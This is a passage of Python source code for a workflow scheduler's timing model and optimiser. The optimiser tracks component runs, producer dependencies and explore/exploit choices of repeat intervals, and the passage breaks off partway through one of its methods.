from __future__ import print_function

from typing import List, Any, Dict, Tuple, Optional, TYPE_CHECKING

if TYPE_CHECKING:
    pass

import datetime
import logging
import random
import threading

class TaskQuantum(object):
    def __init__(self, date_started, date_stopped, override_date_started=None, exit_code=None):
        self.date_started = date_started  # type: datetime.datetime
        self.date_stopped = date_stopped  # type: datetime.datetime
        self.override_date_started = override_date_started  # type: datetime.datetime
        self.exit_code = exit_code  # type: int

    @property
    def virtual_started(self):
        # type:() -> datetime.datetime
        return self.override_date_started or self.date_started

    @virtual_started.setter
    def virtual_started(self, value):
        # type: (datetime.datetime) -> None
        self.override_date_started = value

    @property
    def virtual_stopped(self):
        # VV: A task-quantum might still be in flight, assume that it will take
        #     less than 10 years to complete
        return self.date_stopped or (self.date_started + datetime.timedelta(days=365 * 10))

class ComponentDescriptor(object):
    def __init__(self, experiment, stage, component,
                 backend,
                 executable,
                 repeat_interval,
                 ranksPerNode, numberProcesses, numberThreads,
                 walltime, date_initialized, is_active):
        self.experiment = experiment  # type: str
        self.stage = stage  # type: str
        self.component = component  # type: str
        self.backend = backend  # type: str
        self.repeat_interval = repeat_interval  # type: bool
        self.ranksPerNode = ranksPerNode  # type: int
        self.numberProcesses = numberProcesses  # type: int
        self.numberThreads = numberThreads  # type: int
        self.walltime = walltime  # type: float
        self.executable = executable  # type: str
        self.date_initialized = date_initialized  # type: datetime.datetime
        self.is_active = is_active

    @property
    def is_repeat(self):
        return self.repeat_interval is not None

    @property
    def reference(self):
        return '%s.%s' % (self.stage, self.component)

    def to_dict(self):
        date_initialized = self.date_initialized.strftime("%d%m%y-%H%M%S.%f") if self.date_initialized else None
        return {
            'experiment': self.experiment,
            'stage': self.stage,
            'component': self.component,
            'backend': self.backend,
            'repeat-interval': self.repeat_interval,
            'ranksPerNode': self.ranksPerNode,
            'numberProcesses': self.numberProcesses,
            'numberThreads': self.numberThreads,
            'walltime': self.walltime,
            'executable': self.executable,
            'date-initialized': date_initialized
        }

    @staticmethod
    def from_dict(dictionary):
        experiment = dictionary['experiment']
        stage = dictionary['stage']
        component = dictionary['component']
        backend = dictionary['backend']
        repeat_interval = dictionary['repeat-interval']
        ranksPerNode = dictionary['ranksPerNode']
        numberProcesses = dictionary['numberProcesses']
        numberThreads = dictionary['numberThreads']
        walltime = dictionary['walltime']
        executable = dictionary['executable']
        date_initialized = dictionary['date-initialized']

        if date_initialized is not None:
            date_initialized = datetime.datetime.strptime(date_initialized, "%d%m%y-%H%M%S.%f")

        return ComponentDescriptor(experiment=experiment,
                                   stage=stage,
                                   component=component,
                                   backend=backend,
                                   executable=executable,
                                   repeat_interval=repeat_interval,
                                   ranksPerNode=ranksPerNode,
                                   numberProcesses=numberProcesses,
                                   numberThreads=numberThreads,
                                   walltime=walltime,
                                   date_initialized=date_initialized,
                                   is_active=False)

class Measurement(object):
    def __init__(self, component, date_last_exec, date_last_success, dur_last_exec,
                 time_execute=None,
                 time_queue=None,
                 exit_code=None,
                 date_queued=None,
                 cost_queue_pending=None,
                 cost_queue_running=None,
                 cost_queue_finished=None,
                 prod_time_avg=None,
                 prod_time_succeed_sum=None,
                 prod_time_succeed_max=None,
                 prod_percent_running=None,
                 times_failed_since_last_success=0,
                 exec_time_since_last_success=None):
        """Contains information for a single Run of some Component.

        This information is not all available at the same time. See parameter description
        for more information.

        RepeatingComponent life cycle:
        [I] <Wait till there's input> -> [QS] Queue -> [RS] Run [RD]-> Wait(repeat interval)
        -> Repeat

        * [I] -> Event instantiated (only emitted once)
        * [QS] -> Queueing started (emitted multiple times)
        * [RS] -> Running started (emitted multiple times, but possibly NOT when the
                actual event took place. We know for sure it will be emitted before
                RD (running done))
        * [RD] -> Emitted some time after the Run finishes (there might be a significant delay)

        Notice that events might be emitted with significant delays, so this class
        should NOT directly poll datetime to produce timestamps it should rely on
        method parameters.
        """
        self.time_execute = time_execute  # type: float
        self.time_queue = time_queue  # type: float
        self.component = component  # type: ComponentDescriptor
        self.date_last_exec = date_last_exec  # type: datetime.datetime
        self.date_last_success = date_last_success  # type: datetime.datetime
        self.exit_code = exit_code  # type: int
        self.dur_last_exec = dur_last_exec  # type: float

        self.date_queued = date_queued  # type: datetime.datetime

        self.cost_queue_finished = cost_queue_finished  # type: float
        self.cost_queue_running = cost_queue_running  # type: float
        self.cost_queue_pending = cost_queue_pending  # type: float

        self.original_cost_pending = cost_queue_pending  # type: float
        self.original_cost_running = cost_queue_running  # type: float
        self.original_cost_finished = cost_queue_finished  # type: float

        self.prod_time_avg = prod_time_avg  # type: float
        self.prod_time_succeed_sum = prod_time_succeed_sum # type: float
        self.prod_percent_running = prod_percent_running  # type: float
        self.prod_time_succeed_max = prod_time_succeed_max  # type: float

        self.times_failed_since_last_success = times_failed_since_last_success  # type: int
        self.exec_time_since_last_success = exec_time_since_last_success

        # VV: This is filled in IF the exit-code is not None once we find out the effective-repeat-interval
        #     ( which takes place in modelist.event_run_stop())
        self.task_quantum = None  # type: Optional[TaskQuantum]

    def dt_last_exec(self, to_date):
        # type: (datetime.datetime) -> float
        if to_date is not None:
            if self.date_last_exec is not None:
                return (to_date - self.date_last_exec).total_seconds()
            # VV: Assume that the last successful run finished just before this Component
            #     got initialized
            if self.component.date_initialized is not None:
                return (to_date - self.component.date_initialized).total_seconds()

    def dt_last_success(self, to_date):
        # type: (datetime.datetime) -> float
        if to_date is not None:
            if self.date_last_success is not None:
                return (to_date - self.date_last_success).total_seconds()

            # VV: Assume that the last run finished just before this Component
            #     got initialized
            if self.component.date_initialized is not None:
                return (to_date - self.component.date_initialized).total_seconds()

    @property
    def resource_cost_estimated(self):
        return (self.component.numberProcesses
                * self.component.numberThreads
                * self.component.walltime)

    @property
    def resource_cost_measured(self):
        return (self.component.numberProcesses
                * self.component.numberThreads
                * self.time_execute)

    @property
    def date_started(self):
        # type: () -> datetime.datetime
        if self.date_queued is not None and self.time_queue is not None:
            return self.date_queued + datetime.timedelta(seconds=self.time_queue)

    @property
    def date_stopped(self):
        # type: () -> datetime.datetime
        date_started_run = self.date_started
        if self.time_execute is not None and date_started_run is not None:
            return date_started_run + datetime.timedelta(seconds=self.time_execute)

class Modelist(object):
    def __init__(self):
        self.log = logging.getLogger('Modelist')

        self.metadata = {
        }  # type: Dict[ComponentDescriptor, EngineMetaData]

        self.producers_of = {

        }  # type: Dict[ComponentDescriptor, List[ComponentDescriptor]]

        self.consumers_of = {

        }  # type: Dict[ComponentDescriptor, List[ComponentDescriptor]]

        self.descriptors = {
            # VV: experiment_name : {
            #       stage_name : {
            #         component_name : ComponentDescriptor
            #     }
            # }
        }  # type: Dict[str, Dict[str, Dict[str, ComponentDescriptor]]]

        self.recorded_measurements = {
            # VV: component: { List[Measurement (chronological order)] }
        }  # type: Dict[ComponentDescriptor, List[Measurement]]

        self.backend_state = {
            # VV: FIXME add information about WHICH backend is used:
            'queued': {},  # type: Dict[ComponentDescriptor, datetime.datetime]
            'running': {},  # type: Dict[ComponentDescriptor, datetime.datetime]
            'finished': []  # type: List[Tuple[datetime.datetime, ComponentDescriptor, float]]
        }

    def desc_from_reference(self, reference, experiment_name):
        stage, name = reference.split('.')
        try:
            desc = self.descriptors[experiment_name][stage][name]
            return desc
        except KeyError:
            return None

    def register_component(self, experiment, stage, component,
                           backend,
                           executable,
                           repeat_interval,
                           ranksPerNode, numberProcesses, numberThreads,
                           walltime,
                           date_initialized,
                           producer_descriptors=None):
        desc = ComponentDescriptor(experiment, stage, component,
                                            backend,
                                            executable,
                                            repeat_interval,
                                            ranksPerNode, numberProcesses, numberThreads,
                                            walltime, date_initialized, True)

        if experiment not in self.descriptors:
            self.descriptors[experiment] = {}

        if stage not in self.descriptors[experiment]:
            self.descriptors[experiment][stage] = {}

        assert component not in self.descriptors[experiment][stage]

        assert desc not in self.producers_of

        self.producers_of[desc] = producer_descriptors

        if desc not in self.consumers_of:
            self.consumers_of[desc] = []

        for producer in producer_descriptors:
            if producer not in self.consumers_of:
                self.consumers_of[producer] = [desc]
            else:
                self.consumers_of[producer].append(desc)

        # VV: All we know about this desc is that this is the first time we come across it, and
        #     its repeat_interval (if any)
        meta = EngineMetaData(
            None,
            None,
            None,
            None,
            repeat_interval,
            0
        )
        assert desc not in self.metadata

        self.metadata[desc] = meta

        self.descriptors[experiment][stage][component] = desc

        self.recorded_measurements[desc] = []

        return desc

    def event_queue_start(self, experiment, stage, component, date_now):
        #  type: (str, str, str, datetime.datetime) -> None
        self.log.critical('event_queue_start %s %s %s' % (experiment, stage, component))
        desc = self.descriptors[experiment][stage][component]
        safe_to_increase_cost = True

        assert desc not in self.backend_state['queued']

        self.backend_state['queued'][desc] = date_now

        if self.recorded_measurements[desc]:
            # VV: find the last measurement that actually ran

            for last_meas in self.recorded_measurements[desc][::-1]:
                if last_meas.exit_code is not None:
                    break
            else:
                # VV: Should we ever reach this point, we just have to use the very first
                #     measurement even though it crashed because we can use ITS last success/last run
                #     (recall that we faked these values under register_component)
                last_meas = self.recorded_measurements[desc][0]

            last_success = None
            last_exec = None
            dur_last_exec = None
            exec_time_since_last_success = 0

            if last_meas.exit_code == 0:
                # VV: Last run was successful
                last_exec = last_meas.date_stopped
                dur_last_exec = last_meas.time_execute
                last_success = last_meas.date_stopped
                exec_time_since_last_success = 0
            elif last_meas.exit_code is not None:
                # VV: Last run was not successful
                last_exec = last_meas.date_stopped
                dur_last_exec = last_meas.time_execute
                last_success = last_meas.date_last_success
                exec_time_since_last_success = last_meas.exec_time_since_last_success + dur_last_exec
            elif last_meas.exit_code is None:
                # VV: Component did not launch the last time we tried. Pretend that this never
                #     happened and re-use whatever info the failed-to-launch run used
                last_exec = last_meas.date_last_exec
                dur_last_exec = last_meas.dur_last_exec
                last_success = last_meas.date_last_success

            # VV: Sanitize
            dur_last_exec = max(0.0, dur_last_exec)

            meas = Measurement(
                component=desc,
                date_last_exec=last_exec,
                date_last_success=last_success,
                dur_last_exec=dur_last_exec,
                date_queued=date_now,
                exec_time_since_last_success=exec_time_since_last_success
            )
        else:
            # VV: This is the beginning of the very first measurement,
            #     fake some data about the previous, and completely imagined, run
            meas = Measurement(
                component=desc,
                date_last_exec=desc.date_initialized,
                date_last_success=desc.date_initialized,
                dur_last_exec=0,
                date_queued=date_now,
                exec_time_since_last_success=0
            )

        self.recorded_measurements[desc].append(meas)

    def event_run_start(self, experiment, stage, component, date_now):
        #  type: (str, str, str, datetime.datetime) -> None
        desc = self.descriptors[experiment][stage][component]

        if desc not in self.backend_state['queued']:
            self.log.critical("%s is queued:%s, running: %s, finished:%s" % (
                desc.reference,
                desc in self.backend_state['queued'],
                desc in self.backend_state['running'],
                desc in self.backend_state['finished'],
            ))

        assert desc in self.backend_state['queued']

        del self.backend_state['queued'][desc]

        self.backend_state['running'][desc] = date_now

        # VV: We know that the component started running at "date_now",
        #    now we can update the queue time
        current = self.recorded_measurements[desc][-1]
        current.time_queue = (date_now - current.date_queued).total_seconds()

        # VV: Mark this TaskQuantum to be 'in-flight' (we don't know when it'll finish
        #    , see quantum.virtual_stopped)
        self.metadata[desc].task_quantums.append(
            TaskQuantum(date_started=date_now, date_stopped=None)
        )

    def compute_effective_delta_time(self, desc, to_date):
        # type: (ComponentDescriptor, datetime.datetime) -> Dict[str, float]
        if self.metadata[desc].last_success_stopped:
            """ VV: Schematic to understand the code
                    (i.e earliest_date_lookup and task_quantum_to_exec_time)
            n = not accounted by this run
            y = accounted by this run
            c = time-step within this run (could be failed or successful)
            l = time-step within last successful run
            f = past FAILED run (there's a chance it doesn't exist because previous run was successful
                                 doesn't change a thing in the algorithm; it's only shown for brevity)

            VV: So what about producer runs which started WHILE the consumer was running ?
                Well we can't know about these before attempting to execute the consumer, in fact
                we may event want to dismiss information which we found out after we Submitted the
                Task to the backend because we didn't know about it when we made the decision to
                execute the Task at hand.
            VV: FIXME Look at the above comment --^

            -nnnnnyyyyyyy---yyyynnnnnn----nnnnnnn--nn-  <- producer quantums (even future ones)
            ------llll---fffff--cccccccccccccc--------  <- desc
                     ^          ^            ^
                     |  when_run_started     |
                     |                   date_now
            last_success_stopped
            """

            def earliest_date_lookup(task_quantum, to_date):
                # type: (TaskQuantum, datetime.datetime) -> bool
                assert task_quantum.date_stopped is None or (
                        task_quantum.virtual_started <= task_quantum.date_stopped
                )

                return (task_quantum.date_started < to_date) and (
                        task_quantum.date_stopped is None
                        or self.metadata[desc].last_success_started < task_quantum.date_stopped
                )
        else:
            def earliest_date_lookup(task_quantum, to_date):
                # type: (TaskQuantum, datetime.datetime) -> bool
                return task_quantum.date_started < to_date

        def quantum_to_observed_exec_time(task_quantum, to_date):
            # type: (TaskQuantum, datetime.datetime) -> Optional[Tuple[float, bool]]
            success = task_quantum.exit_code == 0

            if earliest_date_lookup(task_quantum, to_date):
                if task_quantum.date_stopped is None or task_quantum.date_stopped > to_date:
                    cutoff_high = to_date
                else:
                    cutoff_high = task_quantum.date_stopped

                if self.metadata[desc].last_success_started:
                    # VV: If we've run before then make sure to ONLY account for the time since the
                    #     beginning of this batch of tasks (which is after the last success started)
                    if self.metadata[desc].last_success_started > task_quantum.date_started:
                        cutoff_low = self.metadata[desc].last_success_started
                    else:
                        cutoff_low = task_quantum.date_started
                else:
                    # VV: This engine has never run before so there's no lower bound in the task-quantum
                    #     starting date
                    cutoff_low = task_quantum.date_started

                return (cutoff_high-cutoff_low).total_seconds(), success
            else:
                return None

        prod_time_min = 0
        prod_time_sum = 0
        prod_time_avg = 0
        prod_time_max = 0
        prod_time_unknown_sum = 0
        prod_time_succeed_sum = 0
        prod_time_succeed_max = 0
        prod_percent_running = 0
        prod_percent_done = 0

        def is_producer_relevant(producer):
            # type: (ComponentDescriptor) -> bool

            origin = self.metadata[desc].last_success_stopped

            if origin is None or self.metadata[producer].is_active(origin):
                return True

            return False

        relevant_producers = list(filter(is_producer_relevant, self.producers_of[desc]))

        for k in self.producers_of[desc]:
            if k not in relevant_producers:
                self.log.debug("Accumulated time (prod %s is irrelevant to %s)" % (
                    k.reference, desc.reference
                ))

        time_fail = {}  # type: Dict[ComponentDescriptor, float]
        time_succeed = {}  # type: Dict[ComponentDescriptor, float]
        time_total = {}  # type: Dict[ComponentDescriptor, float]
        time_unknown = {}  # type: Dict[ComponentDescriptor, Optional[float]]
        prod_running = {}  # type: Dict[ComponentDescriptor, bool]

        if relevant_producers:
            for prod in relevant_producers:
                time_fail[prod] = 0.0
                time_succeed[prod] = 0.0
                time_total[prod] = 0.0
                # VV: Leave this to None so that the assertion bellow checks for the correctness of the
                #     algorithm
                time_unknown[prod] = None
                prod_running[prod] = False
                for task_quantum in list(self.metadata[prod].task_quantums):
                    ret_tuple = quantum_to_observed_exec_time(task_quantum, to_date)
                    if ret_tuple is not None:
                        ret, success = ret_tuple

                        # VV: Backends might extremely small values
                        ret = max(0.5, ret)

                        # VV: Source Engines will always be treated as 'unknown' unless we force
                        #     them to register as Successes
                        if task_quantum.date_stopped is not None \
                                or prod.is_repeat is False:
                            # VV: Need to be able to inspect the task finish (date_stopped) BEFORE `to_date`
                            if success or prod.is_repeat is False:
                                time_succeed[prod] += ret
                            else:
                                time_fail[prod] += ret
                        else:
                            # VV: There can be ONLY one task in transit per producer
                            if time_unknown[prod] is not None:
                                raise ValueError("Producer %s of %s has multiple in-transit tasks" % (
                                    prod.reference, desc.reference
                                ))

                            time_unknown[prod] = ret

                        if task_quantum.date_stopped is None or task_quantum.date_stopped > to_date:
                            prod_running[prod] = True

                time_unknown[prod] = time_unknown[prod] or 0.0
                time_total[prod] = time_fail[prod] + time_succeed[prod] + time_unknown[prod]

            prod_percent_done = (
                    (len(self.producers_of[desc]) - len(relevant_producers)) / float(len(self.producers_of[desc]))
            )

            prod_percent_running = sum(prod_running.values()) / float(len(relevant_producers))
            prod_time_unknown_sum = sum(time_unknown.values())
            prod_time_sum = sum(time_total.values())
            prod_time_min = min(time_total.values())
            prod_time_max = max(time_total.values())
            prod_time_avg = prod_time_sum / float(len(relevant_producers))
            prod_time_succeed_max = max(time_succeed.values())
            prod_time_succeed_sum = sum(time_succeed.values())

        return {
            'prod-time-unknown-sum': prod_time_unknown_sum,
            'prod-time-sum': prod_time_sum,
            'prod-time-min': prod_time_min,
            'prod-time-max': prod_time_max,
            'prod-time-avg': prod_time_avg,
            'prod-time-succeed-sum': prod_time_succeed_sum,
            'prod-time-succeed-max': prod_time_succeed_max,
            'prod-percent-running': prod_percent_running,
            'prod-percent-done': prod_percent_done,
            'time-total': time_total,
            'time-succeed': time_succeed,
            'time-unknown': time_unknown,
            'prod-running': prod_running,
            'time-fail': time_fail
        }

    def _copy_delta_info_to_measurement(self, measurement, delta):
        # type: (Measurement, Dict[str, float]) -> None
        measurement.prod_percent_running = delta['prod-percent-running']
        measurement.prod_time_avg = delta['prod-time-avg']
        measurement.prod_time_succeed_sum = delta['prod-time-succeed-sum']
        measurement.prod_time_succeed_max = delta['prod-time-succeed-max']

    def event_run_stop(self, experiment, stage, component, date_now, exit_code):
        # type: (str, str, str, datetime.datetime, int) -> None
        desc = self.descriptors[experiment][stage][component]

        if desc not in self.backend_state['running']:
            self.log.critical("%s is queued:%s, running: %s, finished:%s" % (
                desc.reference,
                desc in self.backend_state['queued'],
                desc in self.backend_state['running'],
                desc in self.backend_state['finished'],
            ))

        assert desc in self.backend_state['running']

        date_start = self.backend_state['running'][desc]
        actual_walltime = (date_now - date_start).total_seconds()
        self.backend_state['running'][desc] = date_now
        del self.backend_state['running'][desc]

        entry = [date_now, desc, actual_walltime]
        self.backend_state['finished'].append(entry)

        current = self.recorded_measurements[desc][-1]
        time_execute = (date_now - current.date_started).total_seconds()
        current.exit_code = exit_code
        current.time_execute = time_execute
        current.exec_time_since_last_success += time_execute

        assert self.metadata[desc].task_quantums[-1].date_stopped is None
        self.metadata[desc].task_quantums[-1].date_stopped = date_now
        self.metadata[desc].task_quantums[-1].exit_code = exit_code

        if exit_code is None or time_execute is None:
            self.metadata[desc].run_stop(date_now, exit_code)
            return

        delta_info = self.compute_effective_delta_time(desc, self.metadata[desc].when_run_started)

        self.log.info("Exit-code:%s Sum:%.2f Min:%.2f Max:%.2f Avg:%.2f "
                      "- %%Fly:%.2f %%Done:%.2f for %s" % (
                          exit_code,
                          delta_info['prod-time-sum'], delta_info['prod-time-min'], delta_info['prod-time-max'],
                          delta_info['prod-time-avg'], delta_info['prod-percent-running'],
                          delta_info['prod-percent-done'],
                          desc.reference
                      ))

        self._copy_delta_info_to_measurement(current, delta_info)

        if desc.is_repeat and exit_code == 0:
            # VV: We've just had a successful run, we can now measure the 'effective-repeat-interval'

            # VV: TODO Decide a better measurement to use as the effective-repeat-interval ?
            effective_repeat_interval = delta_info['prod-time-succeed-max']
            self.log.info("Effective interval: %s for %s" % (
                effective_repeat_interval, desc.reference
            ))

            self.metadata[desc].observed_effective_repeat_intervals.append(effective_repeat_interval)

        self.metadata[desc].run_stop(date_now, exit_code)

class EngineMetaData(object):
    def __init__(self,
                 when_queue_started,
                 when_queue_stopped,
                 when_run_started,
                 when_run_stopped,
                 delay,
                 times_run=0,
                 times_successful_run=0,
                 went_inactive_at=None):
        self.task_quantums = []  # type: List[TaskQuantum]
        self.when_queue_started = when_queue_started  # type: datetime.datetime
        self.when_queue_stopped = when_queue_stopped  # type: datetime.datetime
        self.when_run_started = when_run_started  # type: datetime.datetime
        self.when_run_stopped = when_run_stopped  # type: datetime.datetime

        self.original_delay = delay
        self.times_run = times_run  # type: int

        self.times_failed_since_success = 0
        self.times_successful_run = times_successful_run
        self.last_run_stopped = when_run_stopped
        self.last_success_started = None  # type: datetime.datetime
        self.last_success_stopped = None  # type: datetime.datetime
        self.is_repeat = (delay is not None)
        self.next_delay = None
        self.next_queue_date = None
        self.went_inactive_at = went_inactive_at

        self.observed_effective_repeat_intervals = []  # type: List[float]

    def is_active(self, when):
        # type: (datetime.datetime) -> bool
        if self.went_inactive_at is None:
            return True

        return self.went_inactive_at >= when

    def queue_start(self, when):
        self.when_queue_started = when
        self.when_queue_stopped = None
        self.when_run_started = None
        self.when_run_stopped = None
        assert when is not None

    def queue_stop(self, when):
        # type: (datetime.datetime) -> None
        assert self.when_queue_started is not None
        assert self.when_queue_stopped is None
        assert self.when_run_started is None
        assert self.when_run_stopped is None
        assert when is not None

        self.when_queue_stopped = when

    def run_start(self, when):
        # type: (datetime.datetime) -> None
        assert self.when_queue_started is not None
        assert self.when_queue_stopped is not None
        assert self.when_run_started is None
        assert self.when_run_stopped is None
        assert when is not None

        self.when_run_started = when

    def run_stop(self, when, exit_code):
        # type: (datetime.datetime, Optional[int]) -> None
        assert self.when_queue_started is not None
        assert self.when_queue_stopped is not None
        assert self.when_run_started is not None
        assert self.when_run_stopped is None
        assert when is not None

        self.when_run_stopped = when
        self.last_run_stopped = when
        self.times_run += 1

        if exit_code == 0:
            self.times_successful_run += 1

            self.last_success_started = self.when_run_started
            self.last_success_stopped = self.when_run_stopped
            self.times_failed_since_success = 0
        else:
            self.times_failed_since_success += 1

    def register_next_delay(self, next_delay):
        assert self.is_repeat

        self.next_delay = next_delay

    def register_next_queue_date(self, next_queue_date):
        self.next_queue_date = next_queue_date

class OptimiserDecisionMetadata(object):
    def __init__(self, desc, exploit_chance, exploit_target, explore_target_low, explore_target_high):
        # type: (ComponentDescriptor, float, float, float, float) -> None
        self._last_recorded_times_run = None  # type: Optional[int]
        self._exploit_chance = exploit_chance

        # VV: True = Exploit, False = Explore
        self._should_exploit_next = False
        self._desc = desc

        self._exploit_target_factor = exploit_target
        self._explore_target_low = explore_target_low
        self._explore_target_high = explore_target_high
        self._date_last_stopped = None
        self._explore_target_factor = None

        self._date_to_submit = None  # type: Optional[datetime.datetime]

        self._is_dirty = True

        self.target_effective_repeat_interval = None  # type: Optional[float]
        self.attempts = 0

    def should_exploit(self, metadata):
        # type: (EngineMetaData) -> bool

        if metadata.times_run != self._last_recorded_times_run:
            self._should_exploit_next = (random.uniform(0.0, 1.0) <= self._exploit_chance)

            if self._should_exploit_next is False:
                self._explore_target_factor = random.uniform(
                    self._explore_target_low, self._explore_target_high
                )

        self._last_recorded_times_run = metadata.times_run

        return self._should_exploit_next

    def explore_target_factor(self):
        return self._explore_target_factor

    def exploit_target_factor(self):
        return self._exploit_target_factor

    def register_choice(self, date_to_submit, date_last_stopped):
        # type: (datetime.datetime, datetime.datetime) -> None
        self._date_to_submit = date_to_submit
        self._date_last_stopped = date_last_stopped
        self.is_dirty = False

    def next_repeat_interval(self):
        if self.is_dirty:
            return None

        return (self._date_to_submit - self._date_last_stopped).total_seconds()

    @property
    def is_dirty(self):
        # type: () -> bool
        return self._is_dirty

    @is_dirty.setter
    def is_dirty(self, value):
        # type: (bool) -> None
        self._is_dirty = value

        if value is True:
            self._date_to_submit = None

class Optimizer(object):
    def __init__(self, experiment_name, modelist=None):
        if modelist is None:
            modelist = Modelist()

        self.modelist = modelist

        # VV: All active ComponentDescriptors and their Consumer references
        #     ordered based on when they were submitted for scheduling (lower index = earlier)
        self.active_ordered = []  # type: List[ComponentDescriptor]

        self.lock_engine_meta_data = threading.RLock()

        # VV: @tag: OPTIMIZER-observe-engine-updates
        # VV: There's a small chance an engine emits a task-event twice!
        self.past_event_hashes = set()  # type: set[Tuple[int, str, str, datetime.datetime]]
        self.engine_metadata_pending = [
            # VV: stage, component_name,
            #     initialized|queue_start|queue_stop|run_start|run_stop|finished_completely,
            #     when,
            #     exit-code|None|[backend, executable, repeat_interval, ... (all from register_component)...]
        ]  # type: List[Tuple[ComponentDescriptor, str, datetime.datetime, Any]]

        self.engine_metadata = self.modelist.metadata
        self.producers_of = self.modelist.producers_of
        self.consumers_of = self.modelist.consumers_of

        self.experiment_name = experiment_name

        self.lock = threading.RLock()

        self.log = logging.getLogger('Optimizer')

        self.decisions = {

        }  # type: Dict[ComponentDescriptor, OptimiserDecisionMetadata]

    def desc_from_reference(self, reference):
        return self.modelist.desc_from_reference(reference, self.experiment_name)

    def register_component(self, stage, component,
                           backend,
                           executable,
                           repeat_interval,
                           ranksPerNode, numberProcesses, numberThreads,
                           walltime,
                           date_initialized,
                           producer_references,
                           exploit_chance,
                           exploit_target,
                           explore_target_low,
                           explore_target_high
                           ):

        exploit_chance = exploit_chance if exploit_chance is not None else 0.9
        exploit_target = exploit_target if exploit_target is not None else 0.75
        explore_target_low = explore_target_low if explore_target_low is not None else 0.25
        explore_target_high = explore_target_high if explore_target_high is not None else 0.5

        entry = [
            stage, component,
            'initialized',
            date_initialized,
            (backend,
             executable,
             repeat_interval,
             ranksPerNode, numberProcesses, numberThreads,
             walltime,
             date_initialized,
             producer_references,
             exploit_chance,
             exploit_target,
             explore_target_low,
             explore_target_high
             )
        ]

        with self.lock_engine_meta_data:
            self.engine_metadata_pending.append(entry)

    def _register_component(self, stage, component,
                            backend,
                            executable,
                            repeat_interval,
                            ranksPerNode, numberProcesses, numberThreads,
                            walltime,
                            date_initialized,
                            producer_references,
                            exploit_chance,
                            exploit_target,
                            explore_target_low,
                            explore_target_high):

        def stage_name_to_index(my_stage):
            # type: (str) -> int
            prefix = 'stage'
            assert my_stage.startswith(prefix)
            index = int(my_stage[len(prefix):])
            del prefix

            return index

        # VV: TODO Does it make sense to keep track of Source components too ?
        my_stage = stage_name_to_index(stage)

        in_stage_deps = [ref for ref in producer_references if my_stage <= stage_name_to_index(ref.split('.')[0])]

        producer_descs = []
        for dep in in_stage_deps:
            descr = self.desc_from_reference(dep)
            if descr is None:
                raise ValueError(
                    "InStageDependency %s of %s.%s cannot be mapped to an existing Producer description" % (
                        dep, stage, component,
                ))
            producer_descs.append(descr)

        desc = self.modelist.register_component(self.experiment_name, stage, component,
                                                backend,
                                                executable,
                                                repeat_interval,
                                                ranksPerNode, numberProcesses, numberThreads,
                                                walltime,
                                                date_initialized,
                                                producer_descriptors=producer_descs)

        assert desc not in self.active_ordered
        self.active_ordered.append(desc)

        self.decisions[desc] = OptimiserDecisionMetadata(desc,
                                                         exploit_chance,
                                                         exploit_target,
                                                         explore_target_low, explore_target_high)

    def event_queue_start(self, stage, component, when):
        entry = [
            stage, component,
            'queue_start',
            when,
            None
        ]
        event_hash = (stage, component, 'queue_start', when)

        with self.lock_engine_meta_data:
            if event_hash not in self.past_event_hashes:
                self.past_event_hashes.add(event_hash)
                self.engine_metadata_pending.append(entry)
            else:
                self.log.warning("Received a duplicate event %s" % entry)

    def _event_queue_start(self, stage, component, when):
        with self.lock:
            self.modelist.event_queue_start(self.experiment_name, stage, component, when)
            desc = self.modelist.descriptors[self.experiment_name][stage][component]
            self.engine_metadata[desc].queue_start(when)

    def event_queue_stop(self, stage, component, when):
        entry = [
            stage, component,
            'queue_stop',
            when,
            None
        ]

        event_hash = (stage, component, 'queue_stop', when)

        with self.lock_engine_meta_data:
            if event_hash not in self.past_event_hashes:
                self.past_event_hashes.add(event_hash)
                self.engine_metadata_pending.append(entry)
            else:
                self.log.warning("Received a duplicate event %s" % entry)

    def _event_queue_stop(self, stage, component, when):
        with self.lock:
            desc = self.modelist.descriptors[self.experiment_name][stage][component]
            self.engine_metadata[desc].queue_stop(when)

    def event_run_start(self, stage, component, when):
        entry = [
            stage, component,
            'run_start',
            when,
            None
        ]

        event_hash = (stage, component, 'run_start', when)

        with self.lock_engine_meta_data:
            if event_hash not in self.past_event_hashes:
                self.past_event_hashes.add(event_hash)
                self.engine_metadata_pending.append(entry)
            else:
                self.log.warning("Received a duplicate event %s" % entry)

    def _event_run_start(self, stage, component, when):
        with self.lock:
            self.modelist.event_run_start(self.experiment_name, stage, component, when)
            desc = self.modelist.descriptors[self.experiment_name][stage][component]
            self.engine_metadata[desc].run_start(when)

    def event_run_stop(self, stage, component, when, exit_code):
        entry = [
            stage, component,
            'run_stop',
            when,
            exit_code
        ]

        event_hash = (stage, component, 'run_stop', when)

        with self.lock_engine_meta_data:
            if event_hash not in self.past_event_hashes:
                self.past_event_hashes.add(event_hash)
                self.engine_metadata_pending.append(entry)
            else:
                self.log.warning("Received a duplicate event %s" % entry)

    def _decide_next_effective_repeat_interval(self, desc, date_last_started, date_last_stopped, exit_code):
        metadata = self.engine_metadata[desc]
        decision = self.decisions[desc]

        def guess_next_effective_repeat_interval():
            max_recent = 3
            values = metadata.observed_effective_repeat_intervals[-max_recent:]

            if len(values) > 1:
                weight_max = 2
                weight_min = 1

                weights = [idx * (weight_max - weight_min) / (len(values) - 1.0) + weight_min for idx in range(len(values))]

                guess = sum([w_v[0] * w_v[1] for w_v in zip(weights, values)]) / float(sum(weights))
            elif len(values) == 1:
                guess = values[0]
            else:
                guess = None

            return guess

        if exit_code == 0:
            # VV: Modelist populates observed_effective_repeat_interval

            guess = guess_next_effective_repeat_interval()

            if guess is None:
                self.log.critical("%s had a successful task but no observed "
                                  "effective-repeat interval" % desc.reference)
                assert False

            self.log.info("%s next-eri: %.2f because it has just succeeded on %s" % (
                desc.reference, guess, date_last_stopped
            ))
            return guess
        else:
            # VV: We've just failed find out how long we waited for the producer to execute
            #     for and increase that target eri accordingly
            prod_info = self.modelist.compute_effective_delta_time(desc, date_last_started)
            current_progress = prod_info['prod-time-succeed-max']

            guess = guess_next_effective_repeat_interval()

            if guess is not None and guess < current_progress:
                self.log.info("%s keeping next-eri: %.2f because it failed on %s %d times and tested out %.2f" % (
                    desc.reference, guess, date_last_stopped, decision.attempts, current_progress
                ))
                return guess

            if current_progress <= 10 * 60:
                delta = min(60.0, current_progress * 1.5)
            elif current_progress <= 60 * 60:
                delta = min(60.0 * 10, current_progress * 1.5)
            elif current_progress <= 12 * 60 * 60:
                delta = 60.0 * 30
            elif current_progress <= 24 * 60 * 60:
                delta = 60.0 * 60
            else:
                # VV: Looks like a huge job, try every 4 hours
                delta = min(60.0 * 60 * 4, current_progress * 1.5)

            delta = max(1.0, delta)

